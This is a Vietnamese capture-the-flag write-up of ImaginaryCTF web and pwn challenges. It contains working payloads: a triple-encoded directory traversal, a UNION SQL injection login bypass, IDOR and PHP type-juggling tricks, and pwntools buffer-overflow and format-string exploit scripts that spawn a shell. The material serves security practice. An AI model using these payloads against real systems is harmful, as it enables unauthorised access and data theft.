> **Rank : 94/880** > ![](https://hackmd.io/_uploads/r1iW-h2cn.png) > Try harder next time....... ## WEB ### Inspection Bài này ta thấy trống rỗng không có đường link nào cả nên suy ra giấu trong source gì đó nên chúng ta mở inspect lên coi sao: ![](https://hackmd.io/_uploads/H1zdds253.png) Ta có thể thấy nội dung của flag nằm trong attribute của thẻ p #### `flag:ictf{m4rkdown_parser_fail_1a211b44}` ### Idoriot Bài này cho ta 1 form đăng nhập và 1 form đăng kí khi đăng nhập vào thì nó sẽ hiện source như sau: ![](https://hackmd.io/_uploads/ryGBKo3c2.png) Có vẻ nếu chúng ta có user_id = 0 thì chúng ta sẽ lấy được flag nhưng file flag.txt truy cập thử xem sao: ![](https://hackmd.io/_uploads/rk3Wsjh92.png) Còn 1 cách nữa trong form đăng kí chúng ta có thể set user_id thành 0 đăng kí và lấy flag thôi: ![](https://hackmd.io/_uploads/B1Lhio3cn.png) #### `flag:ictf{1ns3cure_direct_object_reference_from_hidden_post_param_i_guess}` ### Perfect Picture Bài này không biết nói sao Chỉ cần đọc code và upload 1 file image theo đúng đề là được : Ta có câu lệnh python sau: ```python= from PIL import Image from PIL.PngImagePlugin import PngInfo image = Image.new("RGBA", (690, 420), "white") image.putpixel((412, 309), (52, 146, 235, 123)) image.putpixel((12, 209), (42, 16, 125, 231)) image.putpixel((264, 143), (122, 136, 25, 213)) metadata = PngInfo() metadata.add_text("Description", "jctf{not_the_flag}") metadata.add_text("Title", "kool_pic") metadata.add_text("Author", "anon") image.save('_image.png', pnginfo=metadata) image.close() ``` #### `flag:ictf{7ruly_th3_n3x7_p1c4ss0_753433}` ### Roks Bài này cho ta 1 trang web random các hình ảnh về cục đá và source code ta có thể truy cập từng bức ảnh bằng cách sau: ![](https://hackmd.io/_uploads/HyHapih92.png) Nhìn là ta có thể đoán được ngay nó sẽ dính directory travesal đọc file docker ta sẽ biết file flag.png nằm trong thư mục /: ![](https://hackmd.io/_uploads/rJKmAjn5n.png) Vì thế payload của ta sẽ kiểu dạng `/?file=../../../../flag.png` Nhưng đoạn code trên đã filter nên chúng ta chỉ còn cách bypass ở đây chúng ta sẽ dùng triple urlencode vì nó đã decode 1 lần trong source và 1 lần ở pt GET rồi: `payload:%25252e%25252e%25252f%25252e%25252e%25252f%25252e%25252e%25252f%25252e%25252e%25252fflag%25252epng` Nhập vào rổi lấy flag thôi: ![](https://hackmd.io/_uploads/rk4bl2n92.png) #### `flag:ictf{tr4nsv3rs1ing_0v3r_r0k5_6a3367}` ### Blank Bài này cho ta 1 source code và 1 trang web yêu cầu login: ![](https://hackmd.io/_uploads/ryLjlh2q2.png) Đọc source ta sẽ thấy nó tạo ra 1 database với bảng user trống rỗng : ![](https://hackmd.io/_uploads/Hy_g-2nq2.png) Nhưng nếu có row nào trả về được thì ta sẽ lấy được flag: ![](https://hackmd.io/_uploads/ByREZ32q2.png) Vì thế ở đây ta sẽ dùng union để có row trả về: `payload: user = admin , pass = 1" UNION ALL SELECT NULL, NULL,"a ` Sau khi nhập vào sẽ có: ![](https://hackmd.io/_uploads/B1oQ73nc2.png) Ta chỉ cần đến /flag và lấy cờ thôi: ![](https://hackmd.io/_uploads/Sk-OXhhc2.png) #### `flag:ictf{sqli_too_powerful_9b36140a}` ### Idoriot-revenge Bài này cho ta 1 form đăng nhập và đăng kí giống bài trên khi ta login vào sẽ có source code: ![](https://hackmd.io/_uploads/ryxZV229h.png) Ta thấy điều kiện để lấy flag là user_id là "php" và kiểm tra username của ta có chữ admin ko vì thế khi tạo tài khoản ta tạo là admin1234 gì đó là được. Còn user_id ta thấy nó được so sánh == nên ta cho nó thành 0 là được bạn nào muốn hiểu thêm thì tìm `php type juggling` nhé: ![](https://hackmd.io/_uploads/SJrpE2nqh.png) #### `flag:ictf{this_ch4lleng3_creator_1s_really_an_idoriot}` ## PWN ### Ret2win Bài này đề cho ta file binary và file source ```clike= #include <stdio.h> #include <unistd.h> int main() { char buf[64]; gets(buf); } int win() { system("cat flag.txt"); } ``` Vậy bài này bof cơ bản. ```python= from pwn import * exe = ELF("chal") #p = process(exe.path) p = remote("ret2win.chal.imaginaryctf.org",1337) p.sendline(b'a'*72+p64(0x000000000040101a)+p64(exe.sym['win'])) p.interactive() ``` #### `flag:ictf{r3turn_0f_th3_k1ng?}` ### Ret2lose Bài này cũng cho file binary và file source y chang bài trước. Lần này đề nói thêm là phải lấy shell. Ở đây khi debug ta nhận thấy rdi tức arguments 1 trỏ vào địa chỉ có thể read-write trước khi `ret` -> gọi PTL `gets` -> nhập `/bin/sh` -> gọi PLT `system` Khi chạy code thì ta thấy rằng thay vì thực hiện `/bin/sh` mà thực hiện `/bin.sh` ![](https://hackmd.io/_uploads/HJMa3i353.png) Ta để ý rằng `ord(.) < ord (/)` 1 đơn vị. Vậy thì ta thử gửi `ord(0)` vì `ord(0)-1 = ord(/)` Đổi lại thì ta có được flag. ```python= from pwn import * exe = ELF("chal") p = process(exe.path) #p = remote("ret2win.chal.imaginaryctf.org",1337) ''' gdb.attach(p, """ b*main + 34 """) input() ''' gets = 0x401060 ret = 0x000000000040101a p.sendline(b'a'*64+p64(exe.bss()+0x20)+p64(ret)+p64(gets)+p64(ret)+p64(0x401050)) p.sendline(b'/bin0sh\x00') p.interactive() ``` #### `flag:ictf{ret2libc?_what_libc?}` ### Form Bài này cho ta 1 file binary ![](https://hackmd.io/_uploads/ByUN0in9h.png) Dễ dàng nhận thấy có lỗi format string ở hàm `printf(format)` ![](https://hackmd.io/_uploads/SklaAj3q3.png) Ta thấy rằng trước khi gọi `printf` thì trên stack có địa chỉ heap lưu `format` chỉ khác địa chỉ lưu flag 1 byte cuối. ![](https://hackmd.io/_uploads/r1qCRin52.png) Do đó ta overwrite bằng `%n`. Nhưng ở đây có lưu ý là gọi từng %c thay vì gọi `%6$c` vì nó sẽ update stack trong từng lần gọi `%c` thay vì gọi giá trị cũ như `%6$c` ```python= from pwn import * exe = ELF("chal") p = process(exe.path) #p = remote("form.chal.imaginaryctf.org",1337) gdb.attach(p, """ b*main+207 c """) input() payload = b"%155c" +b"%c"*5+ b"%hhn" +b'%6$s' #+ b'%p'*6 + b'%6$p' p.sendline(payload) p.interactive() ``` #### `flag:ictf{ngl_kinda_bored_of_these}`